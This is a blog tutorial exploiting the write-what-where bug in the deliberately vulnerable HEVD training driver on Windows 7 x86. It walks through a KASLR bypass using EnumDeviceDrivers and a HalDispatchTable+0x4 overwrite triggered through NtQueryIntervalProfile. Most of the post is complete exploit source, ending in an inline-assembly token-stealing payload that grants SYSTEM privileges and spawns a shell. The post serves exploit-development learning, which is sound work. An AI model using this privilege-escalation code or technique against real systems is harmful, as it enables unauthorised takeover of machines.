Wednesday, 12 June 2024

Windows 7 x86 Arbitrary Write

 In the Previous post , We have exploited HEVD StackOverflow on Windows 7 x86.Today, I will try another Vulnerability on the same system Arbitrary Write also know as Write-What-Where . I referenced @33y0re blogpost for learning the technique used in this blog. Thanks Connor McGarr.

First look at the header file of Arbitrary Write :

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
Here you can see that typedef  is used to create a data type WRITE_WHAT_WHERE  and a pointer to it PWRITE_WHAT_WHERE .  This is a common way in which most typedefs are created in windows. 

Now Looking at the arbitrary_write.c file 
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
The function TriggerArbitraryWrite  takes input UserWriteWhatWhere which is a pointer to the WRITE_WHAT_WHERE structure .
       DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);
 Looking at the Vulnerability , you can see that you have have permission to choose what and where . It doesn't whether the where is a usermode address or kernel mode. So , We can now write at any Kernel mode address with any value we want.

What Next??????


The Next question comes to mind that where should write now then. In the previous exploit we wrote our token stealing payload to the return address, but there is no return address here.
There is a way which is the HALDispatchTable. NtQueryIntervalProfile is an undocumented Windows API exported by ntdll.dll that calls the KeQueryIntervalProfile which calls the  2nd offset of HALDispatchTable .



So, using our Arbitrary write we can write to this offset, and then we will call this windows API NtQueryIntervalprofile to execute our tokenstealingPayload.

BUT  KASLR (kernel Address space Layout Randomization) was added in windows 7 ( not surely) which randomizes the base address of ntoskrnl.exe (almost windows kernel) upon every reboot . From there we can get the address of HalDispatchTable + 0x4 , so that we can overwrite it.
So, first we need to find the address of ntoskrnl.exe .

KALSR BYPASS


There is a very useful function provided by Microsoft is the EnumDeviceDrivers
which enumerates all the drivers and put it in a list. Then we will use another windows API GetDeviceDriverBaseName to check the name of the drivers using the address we found using EnumDeviceDrivers. 
Listing all the loaded drivers on the system :

#include <Windows.h> #include <Psapi.h> #include <stdio.h> #include <tchar.h> #define ARRAY_SIZE 1024 INT main(void) { LPVOID drivers[ARRAY_SIZE]; DWORD cbNeeded; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { TCHAR szdriver[ARRAY_SIZE]; int cdriver = cbNeeded / sizeof(drivers[0]); printf("[#] There are %d drivers.\n", cdriver); for (int i = 0; i < cdriver; i++) { if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){ _tprintf(TEXT("[#] Driver address : 0x%p , Driver Name : %s \n"), drivers[i], &szdriver); } else { printf("[!] GetDeviceDriverBaseName Error....\n"); } } } else { printf("[!] EnumDeviceDriver Failed .....\n"); } }

The Output will be something like this (your address may be different)



NOTE: Your system may have different kernel executable loaded by system depending on the RAM and the CPU cores. You can take a look here ntoskrnl.exe 
for checking about SMP and PAE.
Now we compare the drivers name with ntkrnlpa.exe to find the base address of the kernel.

#include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){
				if (!_tcscmp(szdriver,_T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"),i+1, &szdriver, drivers[i]);
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}


Now , we will use LoadLibrayExA API to load ntoskrnl.exe  and get the offset of HalDispatchTable  using GetProcAddress, then add the kernel base address to it .
 #include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	//HMODULE kUsermode = NULL;
	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntoskrnl.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

}

Lets check the value with windbg debugger.



Nice, Both the values are same in debugger as well as in our code.

 Final Payload

The final exploit after adding the token stealing payload that we used in the our previous blog but this time we don't need the kernel recovery stub because we are not overwriting any return address here .

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

// device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//define IOCTL using CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//IOCTL for Arbitrary Write
#define AAW_IOCTL_NUMBER IOCTL(0x802)

//drivers array size
#define ARRAY_SIZE 1024

// AAW struct
typedef struct WRITE_WHAT_WHERE
{
	PULONG_PTR What;
	PULONG_PTR Where;
}WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

// NtQueryIntervalProfile function 
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile; 

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad								; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax						        ; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]                             ; Get nt!_KPCR.PcrbData.CurrentThread
										; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]	                        ; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax						        ; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID					        ; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]	                        ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx                              ; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]		                        ; Get SYSTEM process nt!_EPROCESS.Token
		mov [ecx + TOKEN_OFFSET], edx		                        ; Replace target process nt!_EPROCESS.Token
										; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad								; Restore registers state
	}
}

INT main(void)
{
	//KASLR BYPASS
	PVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	// Loading ntkrnlpa.exe 

	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntkrnlpa.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	// Subtracting Usermode Address
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	// Adding kernel Base
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

	//We want the address of HalDispatch Table + 0x4
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + 0x4);

	//Open handle to HEVD
	HANDLE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to Open handle to HEVD\n");
	}
	else {
		printf("[#] Successfully opened handle to HEVD...\n");
	}

	PWRITE_WHAT_WHERE writewhatwhere ;
	writewhatwhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));

	if (!writewhatwhere) {
		printf("[!] Failed to allocate memory for writewhatwhere\n");
	}

	PVOID EopPayload = &TokenStealingPayload;

	printf("[#] Address of EopPaylod : 0x%p\n", EopPayload);

	writewhatwhere->What = (PULONG_PTR) &EopPayload;
	writewhatwhere->Where = (PULONG_PTR)HalDispatchTable;

	ULONG BytesReturned;
	//Caling AAW IOCTL handler
	BOOL ret = DeviceIoControl(h,
		AAW_IOCTL_NUMBER,
		(LPVOID)writewhatwhere,
		(DWORD)sizeof(WRITE_WHAT_WHERE),
		NULL,
		0,
		&BytesReturned,
		NULL);

	if (ret) {
		printf("[#] IOCTL opened Successfully...\n");
	}
	else {
		printf("[!] Error Opening IOCTL\n");
	}

	//Call NtQueryIntervalProfile to call HalDispatchTable + 0x4

	HMODULE ntdll = NULL;
	ntdll = LoadLibraryA("ntdll.dll");

	if (!ntdll) {
		printf("Failed to open handle to ntdll.dll\n");
		exit(EXIT_FAILURE);
	}

	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");


	// Executing shellcode
	ULONG Interval = 0;
	NtQueryIntervalProfile(0x1337, &Interval);
`               HeapFree(GetProcessHeap(), 0, (LPVOID)writewhatwhere);

	writewhatwhere = NULL;

	printf("[###] Spawning nt authority/shell \n");

	system("cmd.exe");

	return EXIT_SUCCESS;
}
Finally after calling NtQueryIntervalProfile , our payload get executed.

SHELL(NT AUTHORITY/SYSTEM)


We became the NT AUTHORITY/SYSTEM.


Thanks . Peace